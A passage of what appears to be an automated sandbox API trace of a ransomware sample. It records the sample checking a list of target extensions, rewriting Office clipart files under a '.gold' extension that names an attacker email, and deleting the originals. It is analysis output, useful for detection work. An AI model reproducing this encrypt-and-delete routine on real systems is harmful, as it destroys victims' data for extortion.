lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.723] lstrlenW (lpString="J0152606.WMF") returned 12 [0109.723] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0109.744] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=16632) returned 1 [0109.744] CloseHandle (hObject=0x198) returned 1 [0109.744] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf")) returned 0x20 [0109.808] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0109.809] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.809] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0109.811] GetLastError () returned 0x0 [0109.811] ReadFile (in: hFile=0x38c, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x40f8, lpOverlapped=0x0) returned 1 [0109.818] WriteFile (in: hFile=0x3c4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x4100, lpOverlapped=0x0) returned 1 [0109.823] ReadFile (in: hFile=0x38c, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0109.823] WriteFile (in: hFile=0x3c4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.823] SetEndOfFile (hFile=0x3c4) returned 1 [0109.823] CloseHandle (hObject=0x3c4) returned 1 [0109.823] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.823] SetEndOfFile (hFile=0x38c) returned 1 [0109.825] CloseHandle (hObject=0x38c) returned 1 [0109.825] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.865] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf")) returned 1 [0109.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0109.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0109.867] lstrlenW (lpString=".doc") returned 4 [0109.867] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.867] lstrlenW (lpString=".docx") returned 5 [0109.867] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0109.867] lstrlenW (lpString=".pdf") returned 4 [0109.867] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.867] lstrlenW (lpString=".xls") returned 4 [0109.867] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.867] lstrlenW (lpString=".xlsx") returned 5 [0109.867] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0109.867] lstrlenW (lpString=".ppt") returned 4 [0109.867] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0109.867] lstrlenW (lpString=".zip") returned 4 [0109.867] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.867] lstrlenW (lpString=".rar") returned 4 [0109.867] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.867] lstrlenW (lpString=".bz2") returned 4 [0109.867] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.867] lstrlenW (lpString=".7z") returned 3 [0109.867] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0109.867] lstrlenW (lpString=".dbf") returned 4 [0109.867] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0109.867] lstrlenW (lpString=".1cd") returned 4 [0109.867] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.867] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0109.868] lstrlenW (lpString=".jpg") returned 4 [0109.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0109.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0109.868] lstrlenW (lpString=".doc") returned 4 [0109.868] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.868] lstrlenW (lpString=".docx") returned 5 [0109.868] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0109.868] lstrlenW (lpString=".pdf") returned 4 [0109.868] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.868] lstrlenW (lpString=".xls") returned 4 [0109.868] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.868] lstrlenW (lpString=".xlsx") returned 5 [0109.868] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0109.868] lstrlenW (lpString=".ppt") returned 4 [0109.868] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0109.868] lstrlenW (lpString=".zip") returned 4 [0109.868] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.868] lstrlenW (lpString=".rar") returned 4 [0109.868] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.868] lstrlenW (lpString=".bz2") returned 4 [0109.868] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.868] lstrlenW (lpString=".7z") returned 3 [0109.868] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0109.868] lstrlenW (lpString=".dbf") returned 4 [0109.868] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0109.868] lstrlenW (lpString=".1cd") returned 4 [0109.868] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.868] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF") returned 63 [0109.868] lstrlenW (lpString=".jpg") returned 4 [0109.868] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.868] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.868] lstrlenW (lpString="J0152694.WMF") returned 12 [0109.868] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.869] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=1348) returned 1 [0109.869] CloseHandle (hObject=0x230) returned 1 [0109.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf")) returned 0x20 [0109.869] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.870] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.870] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0109.870] GetLastError () returned 0x0 [0109.870] ReadFile (in: hFile=0x230, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x544, lpOverlapped=0x0) returned 1 [0109.879] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x550, lpOverlapped=0x0) returned 1 [0109.879] ReadFile (in: hFile=0x230, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0109.879] WriteFile (in: hFile=0x3b4, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.879] SetEndOfFile (hFile=0x3b4) returned 1 [0109.880] CloseHandle (hObject=0x3b4) returned 1 [0109.880] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.880] SetEndOfFile (hFile=0x230) returned 1 [0109.881] CloseHandle (hObject=0x230) returned 1 [0109.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0109.894] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152694.wmf")) returned 1 [0109.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0109.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0109.927] lstrlenW (lpString=".doc") returned 4 [0109.927] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.927] lstrlenW (lpString=".docx") returned 5 [0109.927] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0109.927] lstrlenW (lpString=".pdf") returned 4 [0109.927] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.927] lstrlenW (lpString=".xls") returned 4 [0109.927] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.927] lstrlenW (lpString=".xlsx") returned 5 [0109.927] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0109.927] lstrlenW (lpString=".ppt") returned 4 [0109.927] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0109.927] lstrlenW (lpString=".zip") returned 4 [0109.927] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.927] lstrlenW (lpString=".rar") returned 4 [0109.927] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.927] lstrlenW (lpString=".bz2") returned 4 [0109.927] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.927] lstrlenW (lpString=".7z") returned 3 [0109.927] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0109.927] lstrlenW (lpString=".dbf") returned 4 [0109.927] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0109.928] lstrlenW (lpString=".1cd") returned 4 [0109.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0109.928] lstrlenW (lpString=".jpg") returned 4 [0109.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0109.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0109.928] lstrlenW (lpString=".doc") returned 4 [0109.928] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0109.928] lstrlenW (lpString=".docx") returned 5 [0109.928] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0109.928] lstrlenW (lpString=".pdf") returned 4 [0109.928] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0109.928] lstrlenW (lpString=".xls") returned 4 [0109.928] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0109.928] lstrlenW (lpString=".xlsx") returned 5 [0109.928] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0109.928] lstrlenW (lpString=".ppt") returned 4 [0109.928] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0109.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0109.928] lstrlenW (lpString=".zip") returned 4 [0109.928] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0109.928] lstrlenW (lpString=".rar") returned 4 [0109.928] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0109.928] lstrlenW (lpString=".bz2") returned 4 [0109.928] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0109.928] lstrlenW (lpString=".7z") returned 3 [0109.928] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0109.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0109.928] lstrlenW (lpString=".dbf") returned 4 [0109.928] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0109.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0109.928] lstrlenW (lpString=".1cd") returned 4 [0109.928] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0109.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152694.WMF") returned 63 [0109.928] lstrlenW (lpString=".jpg") returned 4 [0109.928] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0109.928] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0109.928] lstrlenW (lpString="J0152698.WMF") returned 12 [0109.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.929] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=1208) returned 1 [0109.929] CloseHandle (hObject=0x230) returned 1 [0109.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf")) returned 0x20 [0109.929] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0109.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0109.930] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.930] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.930] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0109.931] GetLastError () returned 0x0 [0109.931] ReadFile (in: hFile=0x230, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x4b8, lpOverlapped=0x0) returned 1 [0109.939] WriteFile (in: hFile=0x398, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0x4c0, lpOverlapped=0x0) returned 1 [0109.939] ReadFile (in: hFile=0x230, lpBuffer=0x3df0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfed4, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesRead=0x33dfed4*=0x0, lpOverlapped=0x0) returned 1 [0109.939] WriteFile (in: hFile=0x398, lpBuffer=0x3df0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3df0020*, lpNumberOfBytesWritten=0x33dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0109.939] SetEndOfFile (hFile=0x398) returned 1 [0109.940] CloseHandle (hObject=0x398) returned 1 [0109.940] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec8 | out: lpNewFilePointer=0x0) returned 1 [0109.940] SetEndOfFile (hFile=0x230) returned 1 [0109.942] CloseHandle (hObject=0x230) returned 1 [0109.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0110.285] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152698.wmf")) returned 1 [0110.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0110.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0110.287] lstrlenW (lpString=".doc") returned 4 [0110.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.287] lstrlenW (lpString=".docx") returned 5 [0110.287] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0110.287] lstrlenW (lpString=".pdf") returned 4 [0110.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.287] lstrlenW (lpString=".xls") returned 4 [0110.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.287] lstrlenW (lpString=".xlsx") returned 5 [0110.287] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0110.287] lstrlenW (lpString=".ppt") returned 4 [0110.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0110.288] lstrlenW (lpString=".zip") returned 4 [0110.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.288] lstrlenW (lpString=".rar") returned 4 [0110.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.288] lstrlenW (lpString=".bz2") returned 4 [0110.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.288] lstrlenW (lpString=".7z") returned 3 [0110.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0110.288] lstrlenW (lpString=".dbf") returned 4 [0110.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0110.288] lstrlenW (lpString=".1cd") returned 4 [0110.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0110.288] lstrlenW (lpString=".jpg") returned 4 [0110.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0110.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0110.288] lstrlenW (lpString=".doc") returned 4 [0110.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0110.288] lstrlenW (lpString=".docx") returned 5 [0110.288] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0110.288] lstrlenW (lpString=".pdf") returned 4 [0110.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0110.288] lstrlenW (lpString=".xls") returned 4 [0110.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0110.288] lstrlenW (lpString=".xlsx") returned 5 [0110.288] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0110.288] lstrlenW (lpString=".ppt") returned 4 [0110.288] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0110.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0110.288] lstrlenW (lpString=".zip") returned 4 [0110.288] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0110.288] lstrlenW (lpString=".rar") returned 4 [0110.288] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0110.288] lstrlenW (lpString=".bz2") returned 4 [0110.288] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0110.288] lstrlenW (lpString=".7z") returned 3 [0110.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0110.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0110.288] lstrlenW (lpString=".dbf") returned 4 [0110.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0110.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0110.288] lstrlenW (lpString=".1cd") returned 4 [0110.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0110.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152698.WMF") returned 63 [0110.288] lstrlenW (lpString=".jpg") returned 4 [0110.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0110.289] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0110.289] lstrlenW (lpString="J0153087.WMF") returned 12 [0110.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0110.479] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x33dff1c | out: lpFileSize=0x33dff1c*=1912) returned 1 [0110.479] CloseHandle (hObject=0x3a0) returned 1 [0110.479] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf")) returned 0x20 [0110.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 